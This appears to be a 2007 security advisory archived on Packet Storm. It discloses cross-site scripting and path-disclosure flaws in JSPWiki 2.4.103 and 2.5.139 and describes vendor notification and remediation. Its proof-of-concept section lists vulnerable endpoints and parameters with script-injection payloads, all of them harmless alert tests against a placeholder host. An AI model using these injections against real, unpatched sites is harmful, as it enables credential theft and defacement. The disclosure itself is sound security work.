what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

jspwiki-xss.txt

jspwiki-xss.txt
Posted Sep 26, 2007
Authored by Jason Kratzer

JSPWiki version 2.4.103 and 2.5.139 suffer from cross site scripting vulnerabilities.

tags | exploit, vulnerability, xss
SHA-256 | 830bba8e9a39e88c8c76e32e4b6ecaf452aa7f56f2e0051c18edb4cf2f3e2509

jspwiki-xss.txt

Change Mirror Download
Application:  JSPWiki Multiple Vulnerabilities
Version: 2.4.103 and 2.5.139
Credit: Jason Kratzer
Date: 9/24/2007


Background
------------------------------------------------------------
JSPWiki is wiki software built around the standard J2EE components of
Java, servlets and JSP. It was written by Janne Jalkanen and released
under the LGPL. The Sun Java System Portal Server includes it as one
of its core applications. It is primarily used for company intranets
and has an active developer community, also including the i3G
Institute of the Heilbronn University.

(Courtesy of Wikipedia: http://en.wikipedia.org/wiki/JSPWiki)



Description
------------------------------------------------------------
Multiple Cross Site Scripting vulnerabilities have been discovered
within the JSPWiki application, successfully allowing an attacker to
steal credentials, falsify posts, and persistently deface portions of
the site. Additionally, a Local Path Disclosure vulnerability was
also discovered.



Affected Versions
------------------------------------------------------------
Each vulnerability was confirmed in versions 2.4.103 and 2.5.139-beta.
The Cross Site Scripting vulnerability affecting the redirect
parameter is only found in version 2.5.139-beta.



Proof of Concept

Cross Site Scripting Vulnerabilities:
------------------------------------------------------------
http://vulnerable-site.com/wiki/NewGroup.jsp?group=Test

Vulnerable Parameters:
group=Test"<script>alert("Test+XSS")</script>
members= Test"<script>alert("Test+XSS")</script>

Type: Reflective
------------------------------------------------------------
http://vulnerable-site.com/wiki/Edit.jsp?page=Main&action=save&edittime=1186698299838&addr=127.0.0.1&_editedtext=Test&changenote=Test&ok=Save

Vulnerable Parameters:
edittime=<script>alert("Test+XSS")</script>

Type: Reflective
------------------------------------------------------------
http://vulnerable-site.com/wiki/Comment.jsp?page=Main&action=save&edittime=1186698386737&addr=127.0.0.1&_editedtext=Test&author=AnonymousCoward&link=&ok=Save

Vulnerable Parameters:
edittime=<script>alert("Test+XSS")</script>
author=<script>alert("Test+XSS")</script>
link="><SCRIPT>alert("Test+XSS")</SCRIPT>

Type: Reflective
------------------------------------------------------------
http://vulnerable-site.com/wiki/UserPreferences.jsp?tab=profile&loginname=Test&password=Test&password2=Test&wikiname=Test&fullname=Test&email=Test@Test.com&ok=Save+profile&action=saveProfile
http://vulnerable-site.com/wiki/Login.jsp?tab=profile&loginname=Test&password=Test&password2=Test&wikiname=Test&fullname=Test&email=Test@Test.com&ok=Save+profile&action=saveProfile

Vulnerable Parameters:
loginname="><script>alert("Test+XSS")</script>
wikiname="><script>alert("Test+XSS")</script>
fullname="><script>alert("Test+XSS")</script>
email="><script>alert("Test+XSS")</script>

Type: Reflective
------------------------------------------------------------
http://vulnerable-site.com/wiki/Diff.jsp?page=Administrator&r1=-1&r2=1

Vulnerable Parameters:
r1=<script>alert('Test XSS")</script>
r2=<script>alert("Test+XSS")</script>

Type: Reflective
------------------------------------------------------------
http://vulnerable-site.com/wiki/PageInfo.jsp?page=SystemInfo/test.jpg

Vulnerable Parameters:
changenote=<script>alert("Test+XSS")</script>

Type: Stored
------------------------------------------------------------
http://vulnerable-site.com/wiki-3/Login.jsp?redirect=Main

Vulnerable Parameter:
redirect="><script>alert("Test+XSS")</script>

Notes:
The redirect parameter is found in multiple places through
JSPWiki-2.5.139-beta and is vulnerable in every instance.

------------------------------------------------------------

Local Path Disclosure:

http://vulnerable-site.com/wiki/attach/Main/Insert-Uploaded-Attachment-Filename-Here?version=1000000
(Nonexistent #)

Vulnerable Parameter;
Version=10000000

Notes:
The non-existent number must be between 1 and 10 character
otherwise a standard 500 error will be displayed.



Vendor Notification
------------------------------------------------------------
The JSPWiki project was notified on September 10, 2007. Janne
Jalkanen developed and implemented a fix by September 18, 2007.



Remediation
------------------------------------------------------------
It is recommended to upgrade to JSPWiki version 2.4.104. It is also
worth noting, the above vulnerabilities have also been fixed in the
beta release, version 2.5.139.
Login or Register to add favorites

File Archive:

April 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Apr 1st
    10 Files
  • 2
    Apr 2nd
    26 Files
  • 3
    Apr 3rd
    40 Files
  • 4
    Apr 4th
    6 Files
  • 5
    Apr 5th
    26 Files
  • 6
    Apr 6th
    0 Files
  • 7
    Apr 7th
    0 Files
  • 8
    Apr 8th
    22 Files
  • 9
    Apr 9th
    14 Files
  • 10
    Apr 10th
    10 Files
  • 11
    Apr 11th
    13 Files
  • 12
    Apr 12th
    14 Files
  • 13
    Apr 13th
    0 Files
  • 14
    Apr 14th
    0 Files
  • 15
    Apr 15th
    30 Files
  • 16
    Apr 16th
    10 Files
  • 17
    Apr 17th
    22 Files
  • 18
    Apr 18th
    45 Files
  • 19
    Apr 19th
    8 Files
  • 20
    Apr 20th
    0 Files
  • 21
    Apr 21st
    0 Files
  • 22
    Apr 22nd
    11 Files
  • 23
    Apr 23rd
    68 Files
  • 24
    Apr 24th
    23 Files
  • 25
    Apr 25th
    0 Files
  • 26
    Apr 26th
    0 Files
  • 27
    Apr 27th
    0 Files
  • 28
    Apr 28th
    0 Files
  • 29
    Apr 29th
    0 Files
  • 30
    Apr 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close